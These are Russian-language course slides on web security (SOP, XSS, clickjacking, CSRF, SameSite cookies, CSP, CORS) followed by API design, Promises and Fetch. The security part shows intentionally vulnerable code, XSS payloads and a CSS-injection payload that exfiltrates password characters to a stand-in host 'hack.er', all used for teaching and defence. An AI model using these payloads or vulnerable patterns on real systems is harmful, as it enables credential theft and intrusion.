Безопасность web-приложений, архитектура web-приложений и разработка API

Технопарк, осень, 2024 г.

Безопасность web-приложений
Слайды доступны по ссылке
frontend.tech-mail.ru

Виды безопасности:

Same Origin Policy

Правило ограничения домена (Same Origin Policy — «Принцип одинакового источника» a.k.a. «Политика единого источника») — это важная концепция безопасности и работы web-приложений. Она призвана ограничивать возможности пользовательских сценариев из определённого источника по доступу к ресурсам и информации из других источников

Подробнее

Same Origin Policy

Вводится понятие источника (адрес в интернете, откуда был загружен ресурс). Два URL считаются имеющим один источник («same origin»), если у них одинаковый протокол, домен и порт

У этих ресурсов одинаковые источники:

Same Origin Policy

У этих ресурсов разные источники:

Типы взаимодействия с ресурсами

Любой способ взаимодействия с ресурсами в web-приложениях можно отнести к одной из трёх категорий:

Same Origin Policy

Способы обхода Same Origin Policy

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS)

Cross-Site Scripting — атака, заключающаяся во внедрении на страницу вредоносного кода, который будет выполнен в контексте источника конкретного сайта с целью обхода политик единого источника, и взаимодействии этого кода с веб-сервером злоумышленника

С помощью XSS злоумышленник может украсть из браузера пользователя sensitive-данные (например, cookies с ID сессии пользователя, приватные данные пользователя или данные из форм), может выполнить от имени пользователя различные действия или, например, провести DDOS-атаку

Пример уязвимости

		<?php
		    $name = $_REQUEST ['name'];
		?>
		<html>
		    <head><title>Портал Технопарка</title></head>
		    <body>
		        Hello, <?php echo $name; ?>!
		    </body>
		</html>
		 
	

Использование уязвимости

		const html = '<script>alert("XSS")</script>';
		const link =
		    'https://park.mail.ru/?name=' + encodeURIComponent(html);
		 
		console.log(link);
		// https://park.mail.ru/?name=%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E
		 
	

Пример уязвимости

		const response = http.get('/message');
		const messageText = response.content;
		 
		const chat = document.getElementById('chat');
		chat.innerHTML += messageText;
		 
	

Использование уязвимости

		// так не сработает
		chat.innerHTML += `
		    </div><script>alert("XSS")</script>
		`;
		 
	
		// а вот так - получится
		chat.innerHTML += `
		    </div><img src="/404.png" onerror="alert('XSS')">
		`;
		 
	

Пример уязвимости

		// делаем сайт с oauth-авторизацией
		const backRedirectUrl =
		    new URLSearchParams(window.location.search).get('back');
		 
		const link = document.createElement('a');
		link.textContent = 'Click Me!';
		link.href = backRedirectUrl;
		document.appendChild(link);
		 
	

Использование уязвимости

		// находимся на
		// https://park.mail.ru/?back=javascript%3Aalert%28%27XSS%27%29%3B
		const backRedirectUrl = // "javascript:alert('XSS');"
		    new URLSearchParams(window.location.search).get('back');
		 
		const link = document.createElement('a');
		link.href = backRedirectUrl;
		 
		// <a href="javascript:alert('XSS');">Click Me!<a>
		 
	

Пример уязвимости

		const avatarUrl = http.get('/me').avatarUrl;
		 
		const styleContent = `
		    #avatar {
		        background: url(${avatarUrl});
		    }
		`;
		 
		const style = document.createElement('style');
		style.textContent = styleContent;
		document.appendChild(style);
		 
	

Использование уязвимости

		const avatarUrl = http.get('/me').avatarUrl;
		console.log(avatarUrl); -> `);}
		[type=password][value^='a'] { background-image: url(https://hack.er/a); }
		[type=password][value^='b'] { background-image: url(https://hack.er/b); }
		[type=password][value^='c'] { background-image: url(https://hack.er/c); }
		[type=password][value^='d'] { background-image: url(https://hack.er/d); }
		[type=password][value^='e'] { background-image: url(https://hack.er/e); }
		abc { background: url(`
		 
		 
	

Использование уязвимости

		#avatar {
		    background: url();}
		[type=password][value^='a'] { background-image: url(https://hack.er/a); }
		[type=password][value^='b'] { background-image: url(https://hack.er/b); }
		[type=password][value^='c'] { background-image: url(https://hack.er/c); }
		[type=password][value^='d'] { background-image: url(https://hack.er/d); }
		[type=password][value^='e'] { background-image: url(https://hack.er/e); }
		div { background: url();
		}
		 
		 
	

Использование уязвимости

		#avatar {
		    background: url();}
		[type=password][value^='a'] { background-image: url(https://hack.er/a); }
		[type=password][value^='b'] { background-image: url(https://hack.er/b); }
		[type=password][value^='c'] { background-image: url(https://hack.er/c); }
		[type=password][value^='d'] { background-image: url(https://hack.er/d); }
		[type=password][value^='e'] { background-image: url(https://hack.er/e); }
		div { background: url();
		}
		 
		 
	

Способы защиты от XSS

Clickjacking (угон кликов)

Элемент <iframe>

Элемент <iframe> создаёт фрейм — область заданных размеров, которая находится внутри обычного документа, в которую можно загружать любые другие независимые документы

Элемент <iframe>

<iframe src="https://example.com/" width="900" height="500">

Атака Clickjacking (угон кликов)

Атака Clickjacking — механизм обмана пользователей, при котором злоумышленник может получить доступ к конфиденциальной информации или даже заставить пользователя выполнить определённые действия, заманив его на внешне безобидную страницу или внедрив вредоносный код на безопасную страницу

Атака Clickjacking (угон кликов)

  1. Заманиваем пользователя на нашу страницу
  2. Открываем на нашей странице iframe с facebook'ом, делаем ему opacity: 0; и позиционируем под курсором пользователя
  3. Смещаем содержимое iframe так, чтобы в окне оказалась кнопка подписки на сообщество
  4. Пользователь делает клик
  5. ???????
  6. PROFIT!

Защита от Clickjacking

Используем заголовок X-Frame-Options:

Какая ещё есть угроза
связанная с iframe?

У элемента iframe есть свойства, позволяющие получить доступ до содержимого страницы:

Ограничения iframe

Общение между iframe напрямую

Присваивая в document.domain одинаковые значения, можно разрешить страницам с разных поддоменов общение друг с другом через iframe напрямую

		// на странице https://park.mail.ru/
		document.domain; // 'park.mail.ru'
		document.domain = 'mail.ru'; // success
		document.domain = 'e.mail.ru'; // error
		document.domain = 'google.com'; // error
		 
		// на странице https://e.mail.ru/
		document.domain = 'mail.ru'; // success
		 
	

Общение с помощью postMessage

		otherWindow.postMessage(message, targetOrigin);
		// otherWindow - любой объект класса Window
		    - текущий window
		    - полученный через вызов window.open()
		    - полученный через iframe.contentWindow или window.parent
		 
		// targetOrigin - origin ресурсов, которые получат сообщения
		                  можно указать wildcard: '*'
		 
	

Событие message

		window.addEventListeners('message', function (event) {
		    console.log(event.data); // присланные данные
		    console.log(event.origin); // origin, из которого пришло сообщение
		    console.log(event.source); // ссылка на окно-отправитель сообщения
		});
		 
	

Подробнее

Cross-Site Request Forgery (CSRF)

Атака CSRF

  1. Пользователь заходит на сайт, на котором размещена вот такая форма:
  2. 			<form action="https://e.mail.ru/api/v1/messages/send" method="POST">
    			    <input name="message" value="Evil message">
    			    <!-- ... -->
    			</form>
    			 
    		
  3. При заходе на сайт, js-скрипт вызывает submit() у формы
  4. Отправляется POST-запрос на страницу https://e.mail.ru/api/v1/messages/send
  5. Т.к. пользователь авторизован в Почте Mail.ru, то запрос отправляется с куками пользователя и от имени пользователя отправляется письмо

В атаке используется слабая
сторона авторизации через cookies

Cookies позволяют проверить, кто отправил определённый запрос, но они ничего не говорят о данных этого запроса

Браузеры не понимают, как различить, было ли действие явно совершено пользователем (как, скажем, нажатие кнопки на форме или переход по ссылке) или пользователь неумышленно выполнил это действие (зайдя на "плохой" сайт)

Защита от CSRF-атак с помощью
CSRF-токенов

  1. При первом запросе на сервер в теле ответа или в заголовке X-CSRF-Token сервер передаёт на клиент token — случайную строку, и клиент сохраняет её у себя в какой-то переменной, но не в cookies
  2. При последующих запросах на сервер клиент добавляет этот токен в заголовки запросов или в специальное поле в теле запроса
  3. Сервер на каждый запрос валидирует token и если он не был передан, либо он неверный, то сервер отклоняет этот запрос
  4. Т.к. злоумышленнику токен не известен, то он не сможет подделать наш запрос

А если ли джедайский способ?

samesite

Samesite

Data on support for the same-site-cookie-attribute feature across the major browsers from caniuse.com

Samesite cookie 🍪

Samesite — сравнительно новый параметр кук, предоставляющий дополнительный контроль над их передачей согласно Origin policy. Важно заметить, что данная настройка работает только с secure cookies.

Возможные значения: Strict, Lax (by default), None.
Set-Cookie: foo=bar; SameSite=Lax

Samesite. Strict 💪

Cookies с `samesite=strict` никогда не отправятся, если пользователь пришёл не с этого же сайта.
Важно помнить, что cookies не будут пересылаться также при навигации высокого уровня (т.е. даже при переходе по ссылке)
Пример: vk.com -> site.com -> cookies не передаются

Samesite. Lax 🍣

Cookies с `samesite=lax` отправляются, если выполняются два условия:

  1. Используются безопасные HTTP-методы (GET, HEAD, OPTIONS и TRACE) rfc. Главный принцип – методы используются только для чтения данных, не для их изменения. Переход по ссылке эквивалентен GET-методу, т.е. является безопасным
  2. Операция осуществляет навигацию верхнего уровня. Сетевые запросы из JS не являются навигацией и не будут передавать cookies.

доклад 🔥

Content Security Policy

Content Security Policy

Content-Security-Policy (CSP) aka Це SP — HTTP-заголовок*, регулирующий список доверенных источников и тип взаимодействия с ними

Подробнее на MDN

Пример:

Content-Security-Policy: script-src 'self' https://mail.ru
*: <meta http-equiv="Content-Security-Policy" content="script-src 'self' https://mail.ru" />

Content Security Policy

Content Security Policy

Нет fallback на default-src для:

Content Security Policy. Стандарты

Content Security Policy

Content Security Policy. Strict CSP

Какими свойствами должна обладать хорошая политика безопасности?

Content Security Policy. IRL🌐

Как запустить и не сломать production?
Есть 2 режима работы:

Как законно обойти ограничения Same Origin Policy?

Архитектура наших приложений

Архитектура наших приложений?

HTTP access control (CORS)

Cross-Origin Resource Sharing (CORS) standard — спецификация, позволяющая обойти ограничения, которые Same Origin Policy накладывает на кросс-доменные запросы

Подробнее

Cross Origin HTTP-запросы ( XHR )

		// Находимся на https://evil.com/
		const xhr = new XMLHttpRequest();
		xhr.open('GET', 'https://e.mail.ru/messages/inbox/', false);
		xhr.send();
		 
		console.log(xhr.responseText)
		 
	

Запросы делятся на два типа

Простыми считаются запросы, если они удовлетворяют следующим двум условиям:

CORS для простых запросов

			GET /data HTTP/1.1
			Host: e.mail.ru
			Origin: http://frontend.tech-mail.ru /// <- выставляет браузер
			 
		
			HTTP/1.1 200 OK
			Content-Type: text/html; charset=UTF-8
			Access-Control-Allow-Origin: http://frontend.tech-mail.ru
			// Access-Control-Allow-Origin: *
			// Проверяет браузер
		

CORS для простых запросов:
дополнительные заголовки

			HTTP/1.1 200 OK
			Content-Type: text/html; charset=UTF-8
			Access-Control-Allow-Origin: http://frontend.tech-mail.ru
			...
			X-UID: 42
			X-Secret: 2c9de507f2c54aa1
			Access-Control-Expose-Headers: X-Uid, X-Secret
			// Cache-control, Content-Language, Content-Type, Expires, Last-Modified, Pragma
			
		

CORS для простых запросов:
данные авторизации

			const xhr = new XMLHttpRequest();
			xhr.withCredentials = true;
			xhr.open('GET', 'https://e.mail.ru/messages/inbox/', false);
			 
		
			HTTP/1.1 200 OK
			Content-Type: text/html; charset=UTF-8
			Access-Control-Allow-Origin: domain // '*' запрещено
			Access-Control-Allow-Credentials: true
			// Ставим заголовок, если хотим сделать Set-Cookies
			 
		

Запросы делятся на два типа

Остальные запросы считаются "непростыми" , и при отправке таких запросов необходимо понять, согласен ли сервер на обработку таких запросов. Эти запросы всегда отсылаются со специальным заголовком Origin

"Непростые" запросы

При отправке "непростого" запроса, браузер сделает на самом деле два HTTP-запроса.

"Непростые" запросы

Ответ на предзапрос может содержать следующие заголовки

			HTTP/1.1 200 OK
			Content-Type: text/plain
			Access-Control-Allow-Methods: DELETE, PUT, HEAD, OPTIONS, GET, POST
			Access-Control-Allow-Headers: Content-Type, User-Agent ...
			         ... X-Requested-With, If-Modified-Since, Cache-Control
			Access-Control-Max-Age: 86400
			 
		

Вопросы

В чем проблемы данного кода?

			location /api/v1/info {
			  add_header 'Access-Control-Allow-Origin' '*';
			  add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
			  add_header 'Access-Control-Allow-Headers' 'Content-Type, User-Agent';
			  add_header 'Access-Control-Expose-Headers' 'X-Uid, X-Authentication';
			  auth_basic "closed site";
			  auth_basic_user_file conf/htpasswd;
			}
		
		//подсказка
		XMLHttpRequest.open(method, url[, async[, user[, password]]])
	

Вопросы

А тут?

			location /api/v1/info {
			  add_header X-Content-Type-Options nosniff;
			  add_header Vary Origin;
			  
			  # CORS setup
			  if ($cors = 'enabled') {
			    add_header Access-Control-Allow-Origin $http_origin;
			    #  ...
			  }
			}
			// какие заголовки будут для $cors=enabled|false?
		

Вопрос на дополнительные баллы

Как реализовать кроссдоменную авторизацию, если у вас есть два сайта example1.com и example2.com? Если пользователь авторизуется на одном из них, то зайдя на второй, он там тоже будет авторизован. Перечислите минимум 3 способа с их плюсами и минусами (в т.ч. для восприятия пользователем).

Работа с API

Что есть API

API (application programming interface, интерфейс программирования приложений) — набор готовых классов, процедур, функций, структур и констант, предоставляемых приложением (библиотекой, сервисом) или операционной системой для использования во внешних программных продуктах. Используется программистами при написании всевозможных приложений

Что есть API

API определяет функциональность , которую предоставляет программа (модуль, библиотека), при этом API позволяет абстрагироваться от того, как именно эта функциональность реализована

Web API — используется в веб-разработке, как правило, определённый набор HTTP-запросов, а также определение структуры HTTP-ответов, для выражения которых используют XML или JSON форматы

Сема́нтика

Сема́нтика — раздел лингвистики, изучающий смысловое значение единиц языка


Работодатель: Назовите вашу главную слабость
Кандидат: Я даю семантически корректные, но практически неприменимые ответы на вопросы
Работодатель: Могли бы вы привести пример?
Кандидат: Да, мог бы

CRUD

CRUD (create, read, update, delete) — акроним, обозначающий четыре базовые функции, используемые при работе с персистентными хранилищами данных, описывает семантику методов HTTP

REST

REST (в применении к именованию ресурсов) — набор методик и практик, которые используются для именования ресурсов, с которыми работает система

Все типы ресурсов делятся на две категории:

REST

Коллекция книг (books):

REST

Коллекция пользователей (users):

REST + CRUD = семантическое API

		Получение всех книг
		GET /books HTTP/1.1
		Host: awesome.com
		 
		Получение конкретной книги
		GET /books/3-720-55486-7 HTTP/1.1
		Host: awesome.com
		 
		Удаление конкретной книги
		DELETE /books/3-720-55486-7 HTTP/1.1
		Host: awesome.com
		 
	

Документирование API

Другие способы организации API

Promise и
Fetch API

Асинхронность в JavaScript

Асинхронность в JavaScript

		http.ajaxGet('/user', function (err, user) {
		    if (err) {
		        console.error(err);
		        return;
		    }
		    console.log('User is', user);
		});
		 
		console.log('Waiting...');
		 
	

Callback Hell

		http.ajaxPost('/signup', user, function (err, resp1) {
		    if (err) { return console.error(err); }
		    http.ajaxGet(`/users/${resp1.id}`, function (err, resp2) {
		        if (err) { return console.error(err); }
		        http.ajaxGet(`/photos/${resp2.avatarId}`, function (err, avatar) {
		            if (err) { return console.error(err); }
		            // ... callback hell!
		        });
		    });
		});
		 
	

Callback Hell

Избавляемся от пирамид

		http.ajaxPost('/signup', user, onSignup);
		 
		function onSignup (err, resp1) {
		    if (err) { return console.error(err); }
		    http.ajaxGet(`/users/${resp1.id}`, onLoadUser);
		}
		 
		function onLoadUser (err, resp2) {
		    if (err) { return console.error(err); }
		    http.ajaxGet(`/photos/${resp2.avatarId}`, onLoadAvatar);
		}
		 
	

Try, catch

		try {
		    // Выбрасываем исключение вручную
  		    throw 'Ooops!';
		} catch (err) {
		    alert(err); // Привет, я ошибка!
		}
		 
	

Асинхронные ошибки

		try {
		    http.ajaxGet('/user', function (err) {
		        if (err) {
		            throw err;
		        }
		        console.log('User is', user);
		    });
		} catch (err) {
		    alert(err); // Не выполнится
		}
		 
	

Асинхронные ошибки

		const callback = function (err) {
		    if (err) {
		        throw err;
		    }
		    console.log('User is', user);
		};
		 
		try {
		    http.ajaxGet('/user', callback);
		} catch (err) {
		    alert(err); // Не выполнится
		}
		 
	

Futures или Promises

Термин promise был предложен в 1976 году Дэниэлом Фридманом и Дэвидом Вайзом, а Питер Хиббард назвал его eventual. Похожая концепция под названием future была предложена в 1977 году в статье Генри Бейкера и Карла Хьюитта

Что такое Promise?

Promise

Promise (обещание) — представляет собой обертку для значения, неизвестного на момент создания обещания

Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается обещание получить результат в некоторый момент в будущем

Promise

Promises (промисы) — это специальные объекты, которые могут находиться в одном из трёх состояний:

Promise

		const promise = new Promise(function(resolve, reject) {
		    // Здесь можно выполнять любые действия
		 
		    // вызов resolve(result) переведёт промис в состояние fulfilled
		    // вызов reject(error) переведёт промис в состояние rejected
		});
		 
		// Можно создать сразу "готовый" промис
		const fulfilled = Promise.resolve(result);
		// const fulfilled = new Promise((resolve, _) => resolve(result));
		const rejected = Promise.reject(error);
		// const rejected = new Promise((_, reject) => reject(error));
		 
	

Promise

Основной способ взаимодействия с промисом это регистрация функций обратного вызова для получения конечного результата промиса или сообщения о причине, по которой он не был выполнен. Иными словами, на промисы можно навесить два коллбека:

Promise

		const promise = new Promise( ... );
		 
		// Можно навесить их одновременно
		promise.then(onFulfilled, onRejected);
		 
		// Можно по отдельности
		// Только обработчик onFulfilled
		promise.then(onFulfilled);
		// Только обработчик onRejected
		promise.then(null, onRejected);
		promise.catch(onRejected); // Или так
		 
	

Promise

		const promise = new Promise(function(resolve, reject) {
		    // do smth
		    resolve('success'); // or
		    // reject(new Error('failure'));
		});
		 
		promise
		    .then(res => console.log(res))
		    .catch(err => console.error(err));
		 
	

Какая польза от промисов?

Добавление нескольких коллбэков

		// 'cb1 success', 'cb2 success'
		const promise = Promise.resolve('success');
		 
		promise.then(res => { console.log('cb1', res); }); // 1
		promise.then(res => { console.log('cb2', res); }); // 2
		 
	

Чейнинг промисов

		// 'value 1', 'value 2', 'value 3'
		const promise = Promise.resolve('value 1');
		 
		const p2 = promise
		    .then(res => { console.log(res); return 'value 2'; }) // 1
		    .then(res => { console.log(res); return 'value 3'; }) // 2
		    .then(res => { console.log(res); });                  // 3
		 
		p2 === promise // false
		 
	

Обработка асинхронных ошибок

		// 'value 1', 'Error!', 'Error catched!'
		const promise = Promise.resolve('value 1');
		 
		promise
		    .then(res => { console.log(res); throw 'Error!'; })             // 1
		    .then(res => { console.log('foo'); })
		    .then(res => { console.log('bar'); })
		    .then(res => { console.log('baz'); })
		    .catch(err => { console.error(err); return 'Error catched!'; }) // 2
		    .then(res => { console.log(res); });                            // 3
		 
	

Из промиса можно возвращать
промис!

		// 'foo', 'baz', 'bar', 'foobar'
		const promise1 = Promise.resolve('foo')
		    .then(res => { console.log(res); return 'bar'; });    // foo
		 
		const promise2 = Promise.resolve('baz')
		    .then(res => { console.log(res); return promise1; })  // baz
		    .then(res => { console.log(res); return 'foobar'; })  // bar
		    .then(res => { console.log(res); });                  // foobar
		 
	

Промисификация

Оборачивание асинхронного функционала в функцию, возвращающую промис

		function PromiseGet(url) {
		    return new Promise(function (resolve, reject) {
		        http.Get(url, function (err, response) {
		            if (err) { reject(err) }
		            resolve(response);
		        });
		    });
		}
		 
	

Callback Hell!

		http.ajaxPost('/signup', user, function (err, resp1) {
		    if (err) { return console.error(err); }
		    http.ajaxGet(`/users/${resp1.id}`, function (err, resp2) {
		        if (err) { return console.error(err); }
		        http.ajaxGet(`/photos/${resp2.avatarId}`, function (err, avatar) {
		            if (err) { return console.error(err); }
		            // ... callback hell!
		        });
		    });
		});
		 
	

Callback Hell! Красота :)

		PromisePost('/signup', user)
		    .then(resp1 => PromiseGet(`/users/${resp1.id}`))
		    .then(resp2 => PromiseGet(`/photos/${resp2.avatarId}`))
		    .then(avatar => { ... })
		    .catch(err => console.error(err));
		 
	

Promise.all

		// Делаем что-нибудь асинхронное и важное параллельно
		Promise.all([
			  PromiseGet('/user/1'),
			  PromiseGet('/user/2'),
		]).then(function(users) {
			  // Результатом станет массив из значений всех промисов
			  users.forEach(function(user, i) {
			  	  console.log(`User #${i}: ${value}`);
			  });
		});
		 
	

Promise.race

		// Делаем что-нибудь асинхронное и важное наперегонки!
		Promise.race([
			  promiseSomething(),
			  promiseSomethingElse()
		]).then(function(result) {
			  // Результатом станет значение самого "быстрого" промиса
			  console.log(`Result: ${value}`);
		});
		 
	

Promise.any

		// вернет первое fulfilled, либо будет rejected с массивом причин
		const promises = [	
		  Promise.reject('ERROR A'),
		  Promise.reject('ERROR B'),
		  Promise.resolve('result'),
		]
		Promise.any(promises)
		  .then((result) => console.log(result));
		  // result
		 
	

Promise.allSettled

Метод Promise.allSettled() возвращает промис, который исполняется когда все полученные промисы завершены (исполнены или отклонены), содержащий массив результатов исполнения полученных промисов.

		const promise1 = Promise.resolve(3);
		const promise2 = new Promise(
		   (resolve, reject) => setTimeout(reject, 100, 'foo')
		);
		const promises = [promise1, promise2];
		Promise.allSettled(promises).
		  then((results) => results.forEach((result) => console.log(result.status)));
			  // "fulfilled", "rejected"
		    // Третий аргументы в setTimeout?
		 
	

Async

		async function f() {
		    return 1;
		}
		// async-функции всегда возвращают promise
		
	

Async

		async function f1() {
		    return 1;
		}
		
		async function f2() {
		    return Promise.resolve(1);
		}
		f1().then(console.log) // 1
		f2().then(console.log) // 1
	

Async/Await

		// await останавливает выполнение и ждет резолва
		let value = await promise;
		
		async function f() {
		  let p = new Promise((resolve)=> setTimeout(()=>resolve('done'), 1000))
		  let result = await p; // будет ждать 1сек
		  	console.log(result)
		}
		// await нельзя использовать в обычных функциях
	

Async/Await. Обработка ошибок

		// обработка ошибок
		async function f() {
		  await Promise.reject(new Error('Oops')); // throw new Error('Oops');
		}
		// можно использовать try-catch как в синхронном блоке
		
	

Async/Await. Обработка ошибок

		// обработка ошибок
		async function f() {
		  try {
		    let response = await throwable();
		  } catch (error) {
		    console.log(error); // gotcha! 🤠
		  }
		}
		
	

Fetch API

Метод fetch — это XMLHttpRequest нового поколения. Он предоставляет улучшенный интерфейс для осуществления запросов к серверу: как по части возможностей и контроля над происходящим, так и по синтаксису, так как построен на промисах

		// Синтаксис метода fetch:
		const fetchPromise = fetch(url[, options]);
	

Fetch API options

Fetch API

		fetch('/books', {
			method: 'POST',
			mode: 'cors',
			credentials: 'include',
			data: JSON.stringify({
				title: 'Изучение Фронтенда',
				authors: [
					'Анатолий Остапенко', 'Дмитрий Дорофеев',
					'Сергей Володин', 'Алексей Тюльдюков'
				]
			})
		});
		 
	

ВАЖНО: работа с CORS в Fetch API

		fetch('/books', {
			method: 'POST',
			mode: 'cors',
			credentials: 'include',
			data: JSON.stringify({
				title: 'Изучение Фронтенда',
				authors: [
					'Анатолий Остапенко', 'Дмитрий Дорофеев',
					'Сергей Володин', 'Алексей Тюльдюков'
				]
			})
		});
		 
	

Полезные ссылки

Полезные ссылки

Всем спасибо!